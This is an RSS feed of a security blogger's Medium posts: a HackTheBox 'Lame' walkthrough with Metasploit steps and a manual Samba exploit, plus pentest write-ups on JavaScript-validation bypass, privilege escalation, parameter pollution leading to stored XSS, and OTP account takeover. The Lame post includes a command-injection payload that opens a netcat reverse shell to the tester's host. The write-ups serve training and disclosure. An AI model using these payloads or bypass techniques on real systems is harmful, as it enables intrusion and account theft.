<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Amey Muley on Medium]]></title>
        <description><![CDATA[Stories by Amey Muley on Medium]]></description>
        <link>https://medium.com/@ameymuley1994?source=rss-20b0ec791833------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*al7oXWDYSM2c0zDT.jpg</url>
            <title>Stories by Amey Muley on Medium</title>
            <link>https://medium.com/@ameymuley1994?source=rss-20b0ec791833------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 02:45:08 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ameymuley1994/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[OSCP Prep: Lame HactTheBox]]></title>
            <link>https://ameymuley1994.medium.com/oscp-prep-lame-hactthebox-07ce0ce02d71?source=rss-20b0ec791833------2</link>
            <guid isPermaLink="false">https://medium.com/p/07ce0ce02d71</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyber]]></category>
            <dc:creator><![CDATA[Amey Muley]]></dc:creator>
            <pubDate>Wed, 02 Oct 2024 07:18:13 GMT</pubDate>
            <atom:updated>2024-10-02T07:18:13.834Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*OzWmMKgJyOBhcqYd5pr1RQ.png" /></figure><p>To start with, I first performed an Nmap scan on the host. I prefer aggressive scans for scanning, and below is the result of the scan.</p><pre>nmap -A 10.10.10.3</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OFf3ueymFhDmjiRrbD2RYw.png" /></figure><p>From the scan result, it can be observed that ports 21, 22, 139, and 445 are open.</p><pre>Port 21 - FTP<br>Port 22 - SSH<br>Port 139 - samba<br>Port 445 - samba</pre><h3>Enumeration and Exploitation</h3><p><strong><em>FTP port 23</em></strong></p><p>Port 23 is open, so in that case, an anonymous username was used to see if we get anything interesting in that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*7bq7niRTYIAzUwHo310TCQ.png" /></figure><p>Anonymous login was allowed, but I was not able to get any more information with it. Moving further, the service that was running on port 21 was vsftpd 2.3.4. After some more searching, I got an exploit in searchsploit out of them; one was for Python and the other was on Ruby, and the Ruby one was using Metasploit, so I used that one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kii87NPeOwBQwrbG-UR63w.png" /></figure><p>With the Metasploit module, we tried to exploit the vsftpd, but again, it was a failed attempt as it was asking for the password for user 331 and I did not have the password for the user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*DYROgPhhP4CloKMhGM5Rvg.png" /></figure><p><strong><em>SMB ports 139 &amp; 445</em></strong></p><p>After that, I searched for any public exploits that were available for Samba with SearchSploit, and it provided one Metasploit module that could be used to exploit that vulnerability.</p><pre>searchsploit smaba 3.0.20</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PKqLaQyqXBlMDg5KlW2jjQ.png" /></figure><p>Post which I have used the Metasploit framework to proceed with the exploitation procedure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pB7aa7sXUexY4rryTV0WQA.png" /></figure><p>Exploit 0 was used to exploit the machine, and for that, we had to make some changes in setting the RHOSTS, and in my case, the LHOST was not set, so I had to set both.</p><pre>use 0<br>show options<br>set RHOSTS 10.10.10.3<br>set LHOST 10.10.16.2</pre><p>By using the command <strong><em>“exploit,”</em></strong> we exploited and got a reverse shell for using root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/338/1*ky-F3wLZP53IO321NsSxUQ.png" /></figure><p>After getting access to the root user, we retrieved the user and root flag for the machine.</p><p>USER FLAG</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*r_MIQkORtnYSBqnJR5L-SA.png" /></figure><p>ROOT FLAG</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*FvYvNXg0osCf1JUa1r2uxw.png" /></figure><p>Manual Exploit</p><p>An alternate method of exploiting Samba is a manual exploit; for that, we have to use SMBclient.</p><p>After using smbclient, I was able to see some shares that I may have access to</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*Od953NQCz4F7lm6lFC1LAQ.png" /></figure><p>After that, I tried to see what permissions are there in the tmp share of SMBA with SMBAmap.</p><pre>smbmap //10.10.10.3/tmp</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ERaIiiViEuG7WZOGh0tI5w.png" /></figure><p>As can be seen from the image, tmp share has read and written permission onto it. After some research, I got to know that we can exploit it after reading the blog.</p><p><a href="https://medium.com/@nmappn/exploiting-smb-samba-without-metasploit-series-1-b34291bbfd63">https://medium.com/@nmappn/exploiting-smb-samba-without-metasploit-series-1-b34291bbfd63</a></p><p>Post that, I tried to exploit it.</p><p>First I created a payload.</p><pre>logon “/=nc 10.10.16.2 1234 -e /bin/bash&quot;</pre><p>Then I accessed the tmp folder with the smbclient and used the created payload, but before that, I started a listener on the host.</p><pre>nc -nvlp 1234</pre><p>After that, I used the logon command, which provided me with the root access. By that, I managed to get the flag for both the user and root.</p><pre>smb: \\&gt; logon &quot;/= nc 10.10.16.2 1234 -e /bin/bash&quot;</pre><p>After executing the command, we get the root access, and we can retrieve the user and root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*qhU4eysTHjP-O4Pzw68cSg.png" /></figure><p>If you enjoyed this blog and found the information helpful, consider buying me a coffee! Your support helps me keep creating content like this. Just click the button below — thanks for your generosity!</p><p>&lt;script type=”text/javascript” src=”<a href="https://cdnjs.buymeacoffee.com/1.0.0/button.prod.min.js">https://cdnjs.buymeacoffee.com/1.0.0/button.prod.min.js</a>&quot; data-name=”bmc-button” data-slug=”AmeyMuley” data-color=”#5F7FFF” data-emoji=”” data-font=”Bree” data-text=”Buy me a coffee” data-outline-color=”#000000&quot; data-font-color=”#ffffff” data-coffee-color=”#FFDD00&quot; &gt;&lt;/script&gt;</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=07ce0ce02d71" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Bypass JavaScript Validation to create user and Escalated to Privilege Escalation]]></title>
            <link>https://ameymuley1994.medium.com/how-i-bypass-javascript-validation-to-create-user-and-escalated-to-privilege-escalation-c0160e46efb7?source=rss-20b0ec791833------2</link>
            <guid isPermaLink="false">https://medium.com/p/c0160e46efb7</guid>
            <dc:creator><![CDATA[Amey Muley]]></dc:creator>
            <pubDate>Tue, 01 Jun 2021 11:56:10 GMT</pubDate>
            <atom:updated>2021-06-01T11:56:10.429Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Note: In this blog the website will be considered as target.com instead of the original website. The entire parameter name in the application will be written as “Param” and the values will be either in asterisk “*” or some gibberish hand typed. All the values are hand typed to prevent the client’s details.</blockquote><p>In this blog I will discuss how I was able to bypass the validation for login of untrusted and the user which is not present in the database/application and ended up creating new user without the any maker checker rule or admin intervention, so let’s get started-</p><p><strong>Basic Working of Application</strong></p><p>Firstly let’s understand the working of the application, so the application has three roles maker, checker and admin user where maker will make certain changes and checker will check the data that maker have entered and he may accept, reject or ask him to cross check that is with new user or any changes that maker will make and for changes they have implemented a third party API which will fetch the data for that particular user and then maker can make the changes according to that.</p><p><strong>Login Process in Application</strong></p><p>The login is the user will enter his user id and click on get details, if the user is a legit user than the details of the user will be displayed in the below mentioned field and then the user can login into the application or the application will give an error message that the user is not valid user. So you need to be valid user to login into the application and do further process.</p><p><strong>How do I Get to Know the Vulnerability Exists and Bypassed the Validation</strong></p><p>While login I used burp proxy tool to capture all the request and response that were coming and going to the server, while going through the requests and response captured I get to know that the application is using javascript validation so I decided to do manipulation with that request but the problem was that burp was not capturing the request of the javascript files do I made certain changes in burp and I did :</p><p>1. Go to the proxy tab</p><p>2. In proxy tab go to options tab</p><p>3. We can see a section named Intercept Client Request there in the first row we can see the match type and condition before it which contains <strong>(^gif$|^jpg$|^png$|^css$|^js$|^ico$)</strong> so from here I removed <strong>|^js$</strong> and saved it.</p><p>By doing the above steps I was able to capture the request of javascript files also.</p><p><strong>Bypassing JavaScript Validation to create user and login</strong></p><p>Now how I bypassed JavaScript validation and created user, I logged in with the credentials that were provided to us but when I get to know about the validation file in the http history I logged in with the credentials and capture the login request which looks as shown in the figure below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*-USQ8JXtuqumu6dqTX6okg.png" /></figure><p>I copied the request and then I enter the user which is not supposed to get the login to the application and the user id I used was 123456 and then the application gives me an error message.</p><p>So now I reenter the user id 123456 and start capturing the request and at this time I tamper the get details request with the login request but no luck still the application gives an error message (sorry forget to take the screenshot of that). Again I did the same process but this time I not only tamper the entire request but I also dropped the validation.js file request also and to my surprise that worked and I was able to access the application and perform certain tasks (Task screenshot will not be shown due to NDA). To confirm that this is happening I tried with the same username and when I clicked on the get details button I saw that the user is created with the maker rights.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*uIZHRaNuSInrt7-sy8nl7w.png" /><figcaption>This Screenshot is of the request that I have copied the login request of maker user and changed with the random users details request and forwarded the request.</figcaption></figure><p>Request to be dropped</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*uByqS3FnszjFO88aFUGi8Q.png" /><figcaption>This .js file is dropped in order to bypass validation.</figcaption></figure><blockquote>The Validation JavaScript file is use to validate the user as this file is getting called when the user make the login request to the server. I observed that by multiple test cases that the validation JavaScript file is being used to validate the authenticity with privileges before the user gets logged-in</blockquote><blockquote>Note: If you use the admin request then the user that is created is with the admin rights.</blockquote><p><strong>How I Elevated the User and did Privilege Escalation</strong></p><p>To elevate the privilege I logged in with the admin account and capture the request here I go to those pages that only admin can access and copied those request and while looking into the request the application is generating a token for the users and all the user have different tokens let’s say the name of the token is “Token_Name”, the token is shown in the screenshot shown below</p><p>Original Request of admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*g5IENTDthjbCrFWsYVYRGw.png" /></figure><p>With all that data gathered I login again with the user 123456 and clicked on reports tab and capture the request and in that request I changed the URL in the first place but failed as the application gives an error message, after that I perform the same process but at this time I changed the URL with “Token_Name” of user with the URL with “Token_Name” of admin and send the request and it got ahead and I got the admin account and in that account I did some task to show the client proof that the application is vulnerable to privilege escalation. I will not be able to show any screenshot sorry for that.</p><p>Admin Request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*3IkBqJcS7uBzi_cWvnu8sA.png" /></figure><p>User request normal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*GPcgno-DdfJ1sW1xznd8Tg.png" /></figure><p>Edited Request of user with admin data</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*AE-lq2LXQR903kMlMIdcLg.png" /></figure><p>Thanks You</p><p><em>If you like the post and found it useful please hit the clap or if there are any changes or suggestion for me to upgrade I am open for suggestions: ameymuley1994@gmail.com</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c0160e46efb7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTTP Parameter Pollution “How I found HTTP Parameter Pollution and lead it to stored XSS”-Part II]]></title>
            <link>https://ameymuley1994.medium.com/http-parameter-pollution-how-i-found-http-parameter-pollution-and-lead-it-to-stored-xss-part-ii-be0e536e98cb?source=rss-20b0ec791833------2</link>
            <guid isPermaLink="false">https://medium.com/p/be0e536e98cb</guid>
            <dc:creator><![CDATA[Amey Muley]]></dc:creator>
            <pubDate>Wed, 23 Sep 2020 08:49:19 GMT</pubDate>
            <atom:updated>2020-09-23T08:50:07.775Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTTP Parameter Pollution “<em>How I found HTTP Parameter Pollution and converted it to stored XSS</em>”-Part II</h3><p>As, discussed in the previous blog I have successfully performed HPP attack on the user and now let’s see how I turned it into XSS via HPP.</p><p><strong>What is XSS?</strong></p><p>Cross Site Scripting (XSS) allows clients to inject scripts into a request and have the server return the script to the client in the response. This occurs because the application is taking untrusted data (in this example, from the client) and reusing it without performing any validation or sanitization.</p><p>If the injected script is returned immediately this is known as reflected XSS. If the injected script is stored by the server and returned to any client visiting the affected page, then this is known as persistent XSS (also stored XSS).</p><p><strong>XSS via HPP Attack</strong></p><p>Now we know that there is no server validation on parameter in the website, so I started to dig more. User account have the notification section where whatever admin will send message to the specific user it will display in the notification panel and till user use delete the notification it stays there.</p><ol><li>Login to the admin account and go the send message tab and select the user to whom admin wants to send the message, fill the required details and click on send message and capture the request in burp.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*KJvYvNPy9qVseRVoa6GZGg.png" /></figure><p>2. In the captured request we can see the message body in clear text, so copy the message block and paste it as new message block which include XSS script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*Ky4bcQwwy7rVb-kA-6UKtg.png" /></figure><p>3. On successful execution of the request message sent will be displayed on the screen. Now login with user account and open notification and we can see the script is getting executed and message is displayed in the alert box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xQehj_q1VR04gTX-GdJoEw.png" /></figure><p>Due to absence of server-side validation attacker was able to add new parameter and pollute the request and server will execute the request instead of throwing error message.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=be0e536e98cb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TTP Parameter Pollution “How I found HTTP Parameter Pollution and converted it to stored XSS”-Part…]]></title>
            <link>https://ameymuley1994.medium.com/ttp-parameter-pollution-how-i-found-http-parameter-pollution-and-converted-it-to-stored-xss-part-34029ea590b8?source=rss-20b0ec791833------2</link>
            <guid isPermaLink="false">https://medium.com/p/34029ea590b8</guid>
            <dc:creator><![CDATA[Amey Muley]]></dc:creator>
            <pubDate>Wed, 23 Sep 2020 08:44:59 GMT</pubDate>
            <atom:updated>2021-10-14T03:45:35.339Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTTP Parameter Pollution “<em>How I found HTTP Parameter Pollution and converted it to stored XSS</em>”-Part I</h3><p><em>Note: — This blog is divided into two part where part-I will about how I figured out that the application is vulnerable to HTTP Parameter Pollution and in part II how I converted it into stored XSS. Client name some details related to that will not be shared.</em></p><p><strong>What is HTTP Parameter Pollution?</strong></p><p>It is the type of web attack in which the attacker is allowed to craft a request in which he can manipulate or retrieve the hidden information. This attack can be performed by splitting attack scenario between multiple instances of the parameter with same name.</p><p>In HPP, attacker will use multiple parameters with in the same HTTP request. HPP is mainly of two types Client-side and Server-side HPP.</p><p>I found this vulnerability in server-side validation were the data which is being transferred in the request body is not getting validated at server side, I will tell how I figured it and how I performed the attack in the blog further.</p><p><strong>How I detected that website is vulnerable to HPP attack</strong></p><p>While testing the application I came across the change password page for user which have three fields current password, new password and confirm password, so according to that I started testcases for the same. While performing this particular testcase where I will put different password in all the provided text boxes and see whether the application is excepting the request or not.</p><p>While performing it at the client side I was restricted to enter two different passwords for new password and confirm password the application throws error Password mismatched and it won’t let me passthrough, after that I performed the test case for server-side also so what steps I took for that are below.</p><p>Step 1: Filled required details which includes current password and same new and confirm password and clicked on change and captured the request in burp.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*mNHOkHJN2ucyUn1lSMye5g.png" /></figure><p>Step 2: Now change the confirm password in the captured request and forward the request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*WTvUi1GEPQr-WvgtMdDwCg.png" /></figure><p>Step 3: On successful execution of the request I was able to see the password changed message on the screen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*bQapsz97J11T-RUIt5DQ-w.png" /></figure><p>What exactly should have happened here is, when the new password and confirm password were different it should have validated in the server side and should have thrown an error message that password mismatched rather the server will only focus on the new password and will ignore the confirm password field and will execute the request and the password will change.</p><p>So, after knowing the fact that the server is not validation the two password fields new and confirm and here, I thought that HPP could be possible and I tried to do so. If the server is not validating new and confirm password fields then after polluting the request the password will change to the added new password field rather than the application defined new password.</p><p><strong>HPP Attack</strong></p><ol><li>login with the user credentials and go to change password tab fill the required details which include current, new and confirm password field and capture the request in burp. (here the <strong>cpass=Rs</strong>, <strong>npass=R</strong> and <strong>confirm_pass=R</strong>)</li></ol><ul><li>cpass, npass &amp; confirm_pass are the parameters.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*w61UDULCApzTnkTrKHxuqA.png" /></figure><p>2. In the captured request I added a new parameter what the attacked will do, I added new npass parameter. (here <strong>npass=Rsm</strong>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*zaN-VJ4F1O9sfCLnIXvF-Q.png" /></figure><p>3. On successful execution of the request I was able to see the message <strong>password changed</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*VtsNM1L-w6JHNLtaJkutBA.png" /></figure><p>4. After changing the password successfully, I tried to login with the user credentials with the password <strong>R </strong>and in response I get <strong>Invalid user/password</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*aKBUrqltQ2kiA_n_pdPjHA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*FDWQ1msGqBIK41k6BMlt1g.png" /></figure><p>5. Now I tried with the password I set with the new password parameter that I have added in the request, in response I was able to login to the user account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*dZ-GyPFAGp1XmjDcqgU1zA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kIIABPKMVFrNHRKGfe2j7Q.png" /></figure><p>Here I bypassed server-side validation and performed HPP attack successfully.</p><p>In the next blog which is part II in which I will tell you how did I manged to perform XSS using HPP.</p><p>If you find this information helpful…you can buy me a coffee</p><p>https://www.buymeacoffee.com/AmeyM</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=34029ea590b8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Importance of Validation and Authentication in Applications (Mobile / Web)]]></title>
            <link>https://ameymuley1994.medium.com/importance-of-validation-and-authentication-in-applications-mobile-web-e233208a965e?source=rss-20b0ec791833------2</link>
            <guid isPermaLink="false">https://medium.com/p/e233208a965e</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[awareness]]></category>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[mobile-apps]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Amey Muley]]></dc:creator>
            <pubDate>Thu, 11 Jun 2020 04:51:55 GMT</pubDate>
            <atom:updated>2020-06-11T07:49:10.788Z</atom:updated>
            <content:encoded><![CDATA[<p><em>NOTE: In below scenario I will be considering myself as an attacker and will explain accordingly. Consider user1 is mapped on attacker’s mobile number and user2 is mapped on victim’s mobile number.</em></p><p>In this blog I will be talking about the mobile application which I was testing for the client (Cannot reveal the client’s name or application name). It is a mobile application in which user has to verify himself/herself as a legit user and after the successful verification of the user he/she have to activate his/her customer ID, everything has to be done on the user’s device itself. The activation process can be done using three options and it is upto the user how he/she wants to activate the user verification. So, lets get to the process how I have bypassed both the verification and authentication and did account takeover of the other user.</p><p>The developer has provided user id such as “user1” and “user2” and will be mapped with the respective user’s mobile number and all the verification and authentication process will be done through that mobile number only. As we were performing security testing on the application, we asked for two users to be mapped on two different mobile numbers, consider user1 is mapped on my mobile number and user 2 is mapped on victim’s mobile number. So, according to the process attacker have to activate his user on his mapped number and attacker did it successfully and I can see my dashboard with the user1 name and the details the user should have on his/her dashboard while performing the testing. I used burp suite to capture the request and response of the application to see what data is getting passed through the request and what data is coming from the server in this case both the request and response were encrypted so no scope of tampering the specific data for account takeover.</p><p>While going through the captured request and response, I came across some of the requests which I thought might get manipulated and I decided to activate the user again and perform the verification and activation process again but this time I copy-pasted the activation request and the response of one of the activation ways in notepad separately and activated my user, now attacker tried to activate the other user user2 from attacker’s mobile number which is mapped with the victim’s mobile number. So, at first, while doing it normally the server gives me an error message stating <strong>Verification Failed</strong>,<strong> </strong>then again, I performed the same but this time I have set proxy and capturing the request of each step.</p><p>Please find the steps of bypassing verification and authentication.</p><p><strong>Bypassing Verification of User2 on Server side</strong></p><p>· I clicked on to activate the user and internal process happen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*EBen9Nx_qGyjlKJ8sw-eUg.jpeg" /></figure><p>· The attacker was redirected to the next activity as it was the mobile application which a page with verify button on it, on clicking on that button the user will get verified and will ask to set the pin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*IpUz2ij9xZca0aoPjwRM6g.jpeg" /></figure><p>· As the attacker is activating from his mobile device, the attacker will get an error message of <strong>verification failed,</strong> so attacker did it again but this time, he has the activation request of his user so he hit the verify button again captured the request and tampered the request with the successful activation request of user1. (Verification request has been replaced with activation request of another user)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*EYyy4wPxq994NKteCJuNIw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3WcAv8ZimqdSappJdv8NGg.png" /></figure><p>· On successful execution of the above request tampering, the application will redirect to the activity where we have to set a pin for user2. After setting the pin we will see a welcome message states that welcome and please log in to the application to complete the activation process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*PSgyxrrtMiH9ikib4JpDfg.jpeg" /></figure><p>By the steps mentioned above, an attacker can successfully <strong>bypass the verification/Server-side validation</strong> in the application. Here I would like to mention that there is no verification of user as well as I have used the request of the other user while the activation and then I logged out of the application and session is not validated here as well.</p><p><strong>Bypassing Authentication via OTP functionality</strong></p><p>Now login into the application with the pin and then it will ask you to activate the user by OTP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*tw3a5HNr1XHvfY-LMuHvMA.jpeg" /></figure><p>· Using OTP, an activation code will be sent to the victim’s mobile number.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*sQaPzMCHlxlBO-Kc0WEsVw.jpeg" /></figure><p>· Here we didn’t have the OTP with us, so technically the authentication should get failed for any random OTP. Still, put any random OTP and continue further. Now as the attacker have the successful OTP response of his user i.e. user1. Let’s tamper the OTP verification response of the user2 with the response of user1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*Jp-Rq7wcP91kiwev8niPOg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GOqNiwX-WjMjBJdegipKQQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*QfNqL5EWWtZZHXWPufreEw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/391/1*i5DvBLQNTkOGjv9rVSKZ1Q.png" /></figure><p>· On successful execution, we will be able to see the dashboard of the unauthorized user and can view the data (cannot show the dashboard of the user).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*OJfVByff3lciWQ2wG6P31g.jpeg" /></figure><p>In the above steps, the attacker has <strong>bypassed the authentication</strong> in the application by tampering the response without any validation.</p><p><strong>Learning from this:</strong></p><p>1. There should be strict server-side validation on critical fields like customer ID and mobile number.</p><p>2.There should be strong encryption at every Step in the application.Session id should be generated for the complete process and session id should be random and should get expire after a particular time period.</p><p>3. OTP generation mechanism should validate the Mobile number and Customer ID as well..</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e233208a965e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>